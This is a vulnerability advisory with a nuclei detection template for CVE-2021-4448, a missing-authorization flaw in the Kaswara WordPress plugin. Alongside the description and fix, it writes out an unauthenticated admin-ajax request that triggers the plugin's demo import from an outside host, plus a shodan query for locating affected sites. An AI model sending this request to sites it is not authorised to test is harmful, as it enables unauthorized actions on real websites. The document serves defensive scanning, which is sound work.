CVE-2021-4448· kaswara project / kaswara· CWE-862
Kaswara Modern VC Addons <= 3.0.1 - Missing Authorization
The Kaswara Modern VC Addons plugin for WordPress is vulnerable to authorization bypass in versions up to, and including, 3.0.1 due to insufficient capability checking on various AJAX actions. This makes it possible for unauthenticated attackers to perform a wide variety of unauthorized actions such as importing data, uploading arbitrary files, deleting arbitrary files, and more.
Impact
Unauthenticated attackers can perform unauthorized actions including file uploads, deletions, and data import, potentially leading to site compromise.
Fix
Deactivate and delete the plugin from the server
How to confirm it
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "missing/invalid WXR version number" AND contains in interactsh_protocol "http" AND status 200Run it with nuclei: nuclei -id CVE-2021-4448 -u <target>
The full check
id: CVE-2021-4448
info:
name: Kaswara Modern VC Addons <= 3.0.1 - Missing Authorization
author: daffainfo
severity: high
description: |
The Kaswara Modern VC Addons plugin for WordPress is vulnerable to authorization bypass in versions up to, and including, 3.0.1 due to insufficient capability checking on various AJAX actions. This makes it possible for unauthenticated attackers to perform a wide variety of unauthorized actions such as importing data, uploading arbitrary files, deleting arbitrary files, and more.
impact: |
Unauthenticated attackers can perform unauthorized actions including file uploads, deletions, and data import, potentially leading to site compromise.
remediation: |
Deactivate and delete the plugin from the server
reference:
- https://codecanyon.net/item/kaswara-modern-visual-composer-addons/19341477
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kaswara/kaswara-modern-vc-addons-301-missing-authorization
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2021-4448
epss-score: 0.01381
epss-percentile: 0.72366
cwe-id: CWE-862
cpe: cpe:2.3:a:kaswara_project:kaswara:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: kaswara_project
product: kaswara
framework: wordpress
shodan-query: html:"kaswara"
tags: cve,cve2021,wp,wordpress,wp-plugin,kaswara,oast,vkev,vuln
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=kaswaraImportDemo&contentUrl=http://{{interactsh-url}}/
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'missing/invalid WXR version number'
- type: word
part: interactsh_protocol
words:
- 'http'
- type: status
status:
- 200References
- https://codecanyon.net/item/kaswara-modern-visual-composer-addons/19341477
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kaswara/kaswara-modern-vc-addons-301-missing-authorization
Use this check only on systems you are authorised to test. Where the data comes from